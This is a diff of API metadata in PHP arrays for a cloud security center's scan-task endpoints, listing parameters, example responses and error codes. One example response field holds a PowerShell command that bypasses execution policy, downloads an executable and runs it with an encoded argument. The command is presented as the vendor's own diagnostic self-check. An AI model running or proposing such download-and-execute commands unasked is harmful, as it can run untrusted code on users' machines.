'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"86CFF42E-E00A-57A3-8656-22291EFB****\\",\\n \\"ConfigId\\": \\"00cfa8161da093089e6804ba6a33****\\"\\n}","type":"json"}]', + 'title' => '新增通用计划扫描任务', + ], + 'GenerateOnceTask' => [ + 'summary' => '创建一次性扫描任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92287', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + 'FEATUREsas36IOGX', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'TaskType', + 'in' => 'query', + 'schema' => [ + 'description' => '任务类型。取值：'."\n" + .'- **CLIENT\\_PROBLEM\\_CHECK**：客户端问题诊断任务'."\n" + .'- **CLIENT\\_DEV\\_OPS**：云运维任务'."\n" + .'- **ASSET\\_SECURITY\\_CHECK**：资产采集任务', + 'type' => 'string', + 'required' => true, + 'example' => 'CLIENT_PROBLEM_CHECK', + ], + ], + [ + 'name' => 'TaskName', + 'in' => 'query', + 'schema' => [ + 'description' => '任务名称。取值：'."\n" + .'- **CLIENT\\_PROBLEM\\_CHECK**：客户端问题诊断任务'."\n" + .'- **CLIENT\\_DEV\\_OPS**：云运维任务'."\n" + .'- **ASSET\\_SECURITY\\_CHECK**：资产采集任务', + 'type' => 'string', + 'required' => true, + 'example' => 'CLIENT_PROBLEM_CHECK', + ], + ], + [ + 'name' => 'Param', + 'in' => 'query', + 'schema' => [ + 'description' => '扩展信息字段。', + 'type' => 'string', + 'required' => true, + 'example' => '{"mode":1,"problemType":"offline","uuids":"inet-795dcad1-360f-49d2-b01e-b7da7f1c****"}', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '增加任务的来源。', + 'type' => 'string', + 'required' => false, + 'example' => 'Manual', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '8BB6B8FA-39E8-5654-A309-8EED13B1****', + ], + 'CanCreate' => [ + 'description' => '是否可以继续创建扫描任务。取值：'."\n" + ."\n" + .'- **true**：可以继续创建扫描任务。'."\n" + .'- **false**：无法继续创建扫描任务。'."\n" + ."\n" + .'> 默认支持同时存在10个扫描任务，超过10个扫描任务时，使用本接口创建扫描任务会失败。您需要等待已有的10个扫描任务中有扫描任务完成后，才可以继续创建新的扫描任务。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'LastTask' => [ + 'description' => '最后一次任务id。', + 'type' => 'string', + 'example' => '38730bb078f4a1461d4ed283994c****'."\n", + ], + 'CollectTime' => [ + 'description' => '采集时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1670307567000', + ], + 'TotalCount' => [ + 'description' => '总任务数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'TaskId' => [ + 'description' => '检测任务id。', + 'type' => 'string', + 'example' => '38730bb078f4a1461d4ed283994c****', + ], + 'FinishCount' => [ + 'description' => '完成数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '61', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'AssetsCollectionFrequencyLimit', + 'errorMessage' => 'Collection task frequency limit.', + ], + [ + 'errorCode' => 'IllegalParameter', + 'errorMessage' => 'Illegal parameter, please check the param.', + ], + [ + 'errorCode' => 'UnsupportedOperation', + 'errorMessage' => 'This operation is not supported.', + ], + [ + 'errorCode' => 'TaskProcessing', + 'errorMessage' => 'The baseline repair task is in progress.', + ], + [ + 'errorCode' => '-101', + 'errorMessage' => 'Invalid parameter value.', + ], + [ + 'errorCode' => '-120', + 'errorMessage' => 'The maximum number of quota is exceeded.', + ], + [ + 'errorCode' => 'TaskRepeat', + 'errorMessage' => 'Please wait last task finish.', + ], + [ + 'errorCode' => 'BeyondQuata', + 'errorMessage' => 'Please check the scan quota', + ], + [ + 'errorCode' => 'TaskDependencyPending', + 'errorMessage' => 'The previous task is not completed.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"8BB6B8FA-39E8-5654-A309-8EED13B1****\\",\\n \\"CanCreate\\": true,\\n \\"LastTask\\": \\"38730bb078f4a1461d4ed283994c****\\\\n\\",\\n \\"CollectTime\\": 1670307567000,\\n \\"TotalCount\\": 100,\\n \\"TaskId\\": \\"38730bb078f4a1461d4ed283994c****\\",\\n \\"FinishCount\\": 61\\n}","type":"json"}]', + 'title' => '创建一次性执行任务', + ], + 'DeleteCycleTask' => [ + 'summary' => '删除周期性扫描任务，包括镜像扫描，应急漏洞扫描及病毒扫描。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasE5WAEJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'ConfigId', + 'in' => 'query', + 'schema' => [ + 'description' => '配置对应的ID。'."\n" + .'>调用[DescribeCycleTaskList](~~DescribeCycleTaskList~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '435f626256ebf564cf5ba966a539****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7DBB3D54-AF29-5BF4-8B44-9CFA94F50****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7DBB3D54-AF29-5BF4-8B44-9CFA94F50****\\"\\n}","type":"json"}]', + 'title' => '删除通用计划扫描任务', + ], + 'ModifyCycleTask' => [ + 'summary' => '修改周期性任务的运行周期，包括镜像扫描、应急漏洞扫描及病毒扫描。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasE5WAEJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'ConfigId', + 'in' => 'query', + 'schema' => [ + 'description' => '配置对应的ID。'."\n" + .'>调用[DescribeCycleTaskList](~~DescribeCycleTaskList~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '00cfa8161da093089e6804ba6a33****', + ], + ], + [ + 'name' => 'TaskName', + 'in' => 'query', + 'schema' => [ + 'description' => '任务名称。'."\n" + .'- **VIRUS\\_VUL\\_SCHEDULE\\_SCAN**：病毒扫描。'."\n" + .'- **IMAGE_SCAN**：镜像扫描。'."\n" + .'- **EMG\\_VUL\\_SCHEDULE\\_SCAN**：应急漏洞扫描。', + 'type' => 'string', + 'required' => false, + 'enumValueTitles' => [ + 'VIRUS_VUL_SCHEDULE_SCAN' => '病毒扫描', + 'IMAGE_SCAN' => '镜像扫描', + 'EMG_VUL_SCHEDULE_SCAN' => '应急漏洞扫描', + ], + 'example' => 'EMG_VUL_SCHEDULE_SCAN', + ], + ], + [ + 'name' => 'TaskType', + 'in' => 'query', + 'schema' => [ + 'description' => '任务类型。'."\n" + .'- **VIRUS\\_VUL\\_SCHEDULE\\_SCAN**：病毒扫描。'."\n" + .'- **IMAGE_SCAN**：镜像扫描。'."\n" + .'- **EMG\\_VUL\\_SCHEDULE\\_SCAN**：应急漏洞扫描。', + 'type' => 'string', + 'required' => false, + 'enumValueTitles' => [ + 'VIRUS_VUL_SCHEDULE_SCAN' => '病毒扫描', + 'IMAGE_SCAN' => '镜像扫描', + 'EMG_VUL_SCHEDULE_SCAN' => '应急漏洞扫描', + ], + 'example' => 'VIRUS_VUL_SCHEDULE_SCAN', + ], + ], + [ + 'name' => 'PeriodUnit', + 'in' => 'query', + 'schema' => [ + 'description' => '扫描周期的单位，取值：'."\n" + .'- **day**：天。'."\n" + .'- **hour**：小时。', + 'type' => 'string', + 'required' => false, + 'example' => 'day', + ], + ], + [ + 'name' => 'IntervalPeriod', + 'in' => 'query', + 'schema' => [ + 'description' => '间隔周期。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '14', + ], + ], + [ + 'name' => 'FirstDateStr', + 'in' => 'query', + 'schema' => [ + 'description' => '首次执行时间。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1664380800000', + ], + ], + [ + 'name' => 'TargetStartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '任务开始时间（小时）。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'TargetEndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '任务结束时间（小时）。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '6', + ], + ], + [ + 'name' => 'Param', + 'in' => 'query', + 'schema' => [ + 'description' => '扩展信息字段。', + 'type' => 'string', + 'required' => false, + 'example' => '{'."\n" + .' "targetInfo": ['."\n" + .' {'."\n" + .' "type": "groupId",'."\n" + .' "name": "TI HOST",'."\n" + .' "target": 10597***'."\n" + .' },'."\n" + .' {'."\n" + .' "type": "groupId",'."\n" + .' "name": "expense HOST",'."\n" + .' "target": 10597***'."\n" + .' }'."\n" + .' ]'."\n" + .'}', + ], + ], + [ + 'name' => 'Enable', + 'in' => 'query', + 'schema' => [ + 'description' => '是否启用。取值：'."\n" + .'- **1**：开启'."\n" + .'- **0**：关闭', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1AA33E30-7192-5648-93CD-D0E476A2****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-106', + 'errorMessage' => 'The data is not found.', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1AA33E30-7192-5648-93CD-D0E476A2****\\"\\n}","type":"json"}]', + 'title' => '修改计划任务周期', + ], + 'CancelOnceTask' => [ + 'summary' => '取消主任务执行。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + ], + 'parameters' => [ + [ + 'name' => 'TaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要终止的任务ID。'."\n" + .'> 您可以调用[GenerateOnceTask](~~GenerateOnceTask~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'ec9c0d88f36cc27765a98c554ee2****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D03DD0FD-6041-5107-AC00-383E28F1****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D03DD0FD-6041-5107-AC00-383E28F1****\\"\\n}","type":"json"}]', + 'title' => '取消主任务执行', + ], + 'DescribeOnceTask' => [ + 'summary' => '查询客户端任务列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92145', + 'abilityTreeNodes' => [ + 'FEATUREsasEX82TR', + ], + ], + 'parameters' => [ + [ + 'name' => 'TaskType', + 'in' => 'query', + 'schema' => [ + 'description' => '任务类型。取值：'."\n" + .'- **VUL\\_CHECK\\_TASK**：漏洞扫描任务'."\n" + .'- **CLIENT\\_PROBLEM\\_CHECK**：客户端任务'."\n" + .'- **CLIENT\\_DEV\\_OPS**：云运维任务'."\n" + .'- **ASSET\\_SECURITY\\_CHECK**：资产采集任务'."\n" + .'> **TaskType**和**RootTaskId**不能同时为空', + 'type' => 'string', + 'required' => false, + 'enumValueTitles' => [], + 'example' => 'CLIENT_PROBLEM_CHECK', + ], + ], + [ + 'name' => 'RootTaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '根任务ID。'."\n" + .'> **TaskType**和**RootTaskId**不能同时为空', + 'type' => 'string', + 'required' => false, + 'example' => 'bb5d657479bba5e1d308b6c9e85c9174', + ], + ], + [ + 'name' => 'StartTimeQuery', + 'in' => 'query', + 'schema' => [ + 'description' => '根任务开始的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1651737301000', + ], + ], + [ + 'name' => 'EndTimeQuery', + 'in' => 'query', + 'schema' => [ + 'description' => '根任务结束的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1651766520000', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页包含的客户端任务的数量。默认值为**20**，表示每页包含20个客户端任务。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '任务来源。取值包括但不限于：'."\n" + .'- **schedule**：漏洞扫描自动调度'."\n" + .'- **console**：漏洞扫描控制台一键检测', + 'type' => 'string', + 'required' => false, + 'example' => 'console', + ], + ], + [ + 'name' => 'TaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '任务ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'd7b2acf8d362742123e4a84e1bf8****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '客户端任务返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页包含的客户端任务的数量。默认值为**20**，表示每页包含20个客户端任务。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的客户端任务的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Count' => [ + 'description' => '分页查询时，当前页面显示的客户端任务条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'TaskManageResponseList' => [ + 'description' => '客户端任务查询的返回信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '客户端任务查询的返回信息。', + 'type' => 'object', + 'properties' => [ + 'TaskType' => [ + 'description' => '任务类型。取值：'."\n" + .'- **CLIENT\\_PROBLEM\\_CHECK**：客户端任务'."\n" + .'- **CLIENT\\_DEV\\_OPS**：云运维任务'."\n" + .'- **ASSET\\_SECURITY\\_CHECK**：资产采集任务'."\n", + 'type' => 'string', + 'enumValueTitles' => [], + 'example' => 'CLIENT_PROBLEM_CHECK', + ], + 'Progress' => [ + 'description' => '任务进度，单位为百分比。', + 'type' => 'string', + 'example' => '10%', + ], + 'TaskStatus' => [ + 'description' => '任务状态。取值：'."\n" + .'- **1**：已启动。'."\n" + .'- **2**：已完成。'."\n" + .'- **3**：已失败。'."\n" + .'- **4**：已超时。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'enumValueTitles' => [], + 'example' => '1', + ], + 'DetailData' => [ + 'description' => '任务执行详情。该参数为JSON格式。'."\n" + ."\n" + .'- **causeCode**：排查原因返回码。'."\n" + .'- **causeMsg**：排查原因返回信息。'."\n" + .'- **resCode**：排查返回码。'."\n" + .'- **resMsg**：排查返回信息。'."\n" + .'- **problemType**：问题类型。'."\n" + .'- **dispatchType**：任务下发方式。'."\n" + .'- **uuid**：服务器UUID。'."\n" + .'- **instanceId**：服务器实例的ID。'."\n" + .'- **internetIp**：服务器外网IP。'."\n" + .'- **intranetIp**：服务器的私网IP地址。'."\n" + .'- **instanceName**：服务器实例的名称。'."\n" + .'- **url**：排查日志下载链接。', + 'type' => 'string', + 'example' => '['."\n" + .' {'."\n" + .' "dispatchType": "manual",'."\n" + .' "causeMsg": [],'."\n" + .' "causeCode": [],'."\n" + .' "resCode": ['."\n" + .' "1003"'."\n" + .' ],'."\n" + .' "resMsg": ['."\n" + .' "powershell -executionpolicy bypass -c \\"(New-Object Net.WebClient).DownloadFile(\'http://aegis.alicdn.com/download/aegis_client_self_check/win32/aegis_checker.exe\', $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath(\'.\\\\\\\\aegis_checker.exe\'))\\"; \\"./aegis_checker.exe -b eyJtb2RlIjoxLCJqc3J2X2RvbWFpbiI6W10sImlzc3VlIjoib2ZmbGluZSIsInVwZGF0ZV9kb21haW4iOltdLCJ1dWlkIjoiaW5ldC1lYWUwNDg2Ny0wMDJmLTQyM2QtYWYwMC1jNzJjZDYyOWIyNDgiLCJjbWRfaWR4IjoiNDRjZThiZWI3ZGYyYTQxMjQ1NGM4ZDc5OTE1ODI1MzMifQ==\\""'."\n" + .' ],'."\n" + .' "problemType": "offline",'."\n" + .' "uuid": "inet-eae04867-002f-423d-af00-c72cd629****"'."\n" + .' }'."\n" + .']', + ], + 'TaskStatusText' => [ + 'description' => '任务状态的文本对象。取值：'."\n" + .'- **INIT**：待启动。'."\n" + .'- **START**：已启动。'."\n" + .'- **DISPATCH**：自检命令已下发。'."\n" + .'- **SUCCESS**：自检完成。'."\n" + .'- **FAIL**：执行失败。'."\n" + .'- **TIMEOUT**：已超时。', + 'type' => 'string', + 'enumValueTitles' => [], + 'example' => 'INIT', + ], + 'TaskName' => [ + 'description' => '任务名称。', + 'type' => 'string', + 'example' => 'CLIENT_PROBLEM_CHECK', + ], + 'TaskStartTime' => [ + 'description' => '任务实际开始的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1649732012000', + ], + 'TaskEndTime' => [ + 'description' => '任务实际结束的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1650267989000', + ], + 'TaskId' => [ + 'description' => '任务ID。', + 'type' => 'string', + 'example' => 'e900f528f5a6229bb640ca27cb44c98e', + ], + 'SuccessCount' => [ + 'description' => '执行成功的任务数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + 'FailCount' => [ + 'description' => '执行失败的任务数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'ResultInfo' => [ + 'description' => '任务执行结果。', + 'type' => 'string', + 'example' => 'successful', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 2\\n },\\n \\"TaskManageResponseList\\": [\\n {\\n \\"TaskType\\": \\"CLIENT_PROBLEM_CHECK\\",\\n \\"Progress\\": \\"10%\\",\\n \\"TaskStatus\\": 1,\\n \\"DetailData\\": \\"[\\\\n {\\\\n \\\\\\"dispatchType\\\\\\": \\\\\\"manual\\\\\\",\\\\n \\\\\\"causeMsg\\\\\\": [],\\\\n \\\\\\"causeCode\\\\\\": [],\\\\n \\\\\\"resCode\\\\\\": [\\\\n \\\\\\"1003\\\\\\"\\\\n ],\\\\n \\\\\\"resMsg\\\\\\": [\\\\n \\\\\\"powershell -executionpolicy bypass -c \\\\\\\\\\\\\\"(New-Object Net.WebClient).DownloadFile(\'http://aegis.alicdn.com/download/aegis_client_self_check/win32/aegis_checker.exe\', $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath(\'.\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\aegis_checker.exe\'))\\\\\\\\\\\\\\"; \\\\\\\\\\\\\\"./aegis_checker.exe -b eyJtb2RlIjoxLCJqc3J2X2RvbWFpbiI6W10sImlzc3VlIjoib2ZmbGluZSIsInVwZGF0ZV9kb21haW4iOltdLCJ1dWlkIjoiaW5ldC1lYWUwNDg2Ny0wMDJmLTQyM2QtYWYwMC1jNzJjZDYyOWIyNDgiLCJjbWRfaWR4IjoiNDRjZThiZWI3ZGYyYTQxMjQ1NGM4ZDc5OTE1ODI1MzMifQ==\\\\\\\\\\\\\\"\\\\\\"\\\\n ],\\\\n \\\\\\"problemType\\\\\\": \\\\\\"offline\\\\\\",\\\\n \\\\\\"uuid\\\\\\": \\\\\\"inet-eae04867-002f-423d-af00-c72cd629****\\\\\\"\\\\n }\\\\n]\\",\\n \\"TaskStatusText\\": \\"INIT\\",\\n \\"TaskName\\": \\"CLIENT_PROBLEM_CHECK\\",\\n \\"TaskStartTime\\": 1649732012000,\\n \\"TaskEndTime\\": 1650267989000,\\n \\"TaskId\\": \\"e900f528f5a6229bb640ca27cb44c98e\\",\\n \\"SuccessCount\\": 7,\\n \\"FailCount\\": 2,\\n \\"ResultInfo\\": \\"successful\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询客户端任务列表', + ], + 'DescribeCycleTaskList' => [ + 'summary' => '查询通用计划任务的列表，包括镜像扫描、应急漏洞扫描及病毒扫描。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92052', + 'abilityTreeNodes' => [ + 'FEATUREsasEX82TR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'TaskName', + 'in' => 'query', + 'schema' => [ + 'description' => '任务名称。取值：'."\n" + .'- **VIRUS\\_VUL\\_SCHEDULE\\_SCAN**：病毒扫描。'."\n" + .'- **IMAGE_SCAN**：镜像扫描。'."\n" + .'- **EMG\\_VUL\\_SCHEDULE\\_SCAN**：应急漏洞扫描。', + 'type' => 'string', + 'required' => false, + 'example' => 'IMAGE_SCAN', + ], + ], + [ + 'name' => 'TaskType', + 'in' => 'query', + 'schema' => [ + 'description' => '任务类型。取值：'."\n" + .'- **VIRUS\\_VUL\\_SCHEDULE\\_SCAN**：病毒扫描。'."\n" + .'- **IMAGE_SCAN**：镜像扫描。'."\n" + .'- **EMG\\_VUL\\_SCHEDULE\\_SCAN**：应急漏洞扫描。', + 'type' => 'string', + 'required' => false, + 'example' => 'IMAGE_SCAN', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数，默认值20。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'ConfigId', + 'in' => 'query', + 'schema' => [ + 'description' => '配置对应的ID。'."\n" + .'>调用[CreateCycleTask](~~CreateCycleTask~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'f93b6ee24cfd0aad44b897ad5051****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '149', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '9', + ], + ], + ], + 'CycleScheduleResponseList' => [ + 'description' => '周期性扫描任务列表。', + 'type' => 'array', + 'items' => [ + 'description' => '周期性扫描任务列表。', + 'type' => 'object', + 'properties' => [ + 'LastTaskId' => [ + 'description' => '最后一次任务id。', + 'type' => 'string', + 'example' => '38730bb078f4a1461d4ed283994c****', + ], + 'ConfigId' => [ + 'description' => '配置对应的ID。', + 'type' => 'string', + 'example' => '2cdbdeba8dd70586d5814d4cbf21****', + ], + 'TargetEndTime' => [ + 'description' => '任务结束时间（小时）。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + 'NextStartTimeStr' => [ + 'description' => '下一次执行的时间。格式为毫秒级时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1671184531000', + ], + 'TaskName' => [ + 'description' => '任务名称。', + 'type' => 'string', + 'example' => 'IMAGE_SCAN', + ], + 'TaskType' => [ + 'description' => '任务类型。', + 'type' => 'string', + 'example' => 'IMAGE_SCAN', + ], + 'IntervalPeriod' => [ + 'description' => '间隔周期。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'FirstDateStr' => [ + 'description' => '首次执行时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1667491200000', + ], + 'Param' => [ + 'description' => '扩展信息字段。', + 'type' => 'string', + 'example' => '{"userAgreement":"yes","lang":"zh"}', + ], + 'PeriodUnit' => [ + 'description' => '扫描周期的单位，取值：'."\n" + .'- **day**：天。'."\n" + .'- **hour**：小时。', + 'type' => 'string', + 'example' => 'day', + ], + 'TargetStartTime' => [ + 'description' => '任务开始时间（小时）。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Enable' => [ + 'description' => '是否启用。取值：'."\n" + .'- **1**：开启'."\n" + .'- **0**：关闭', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 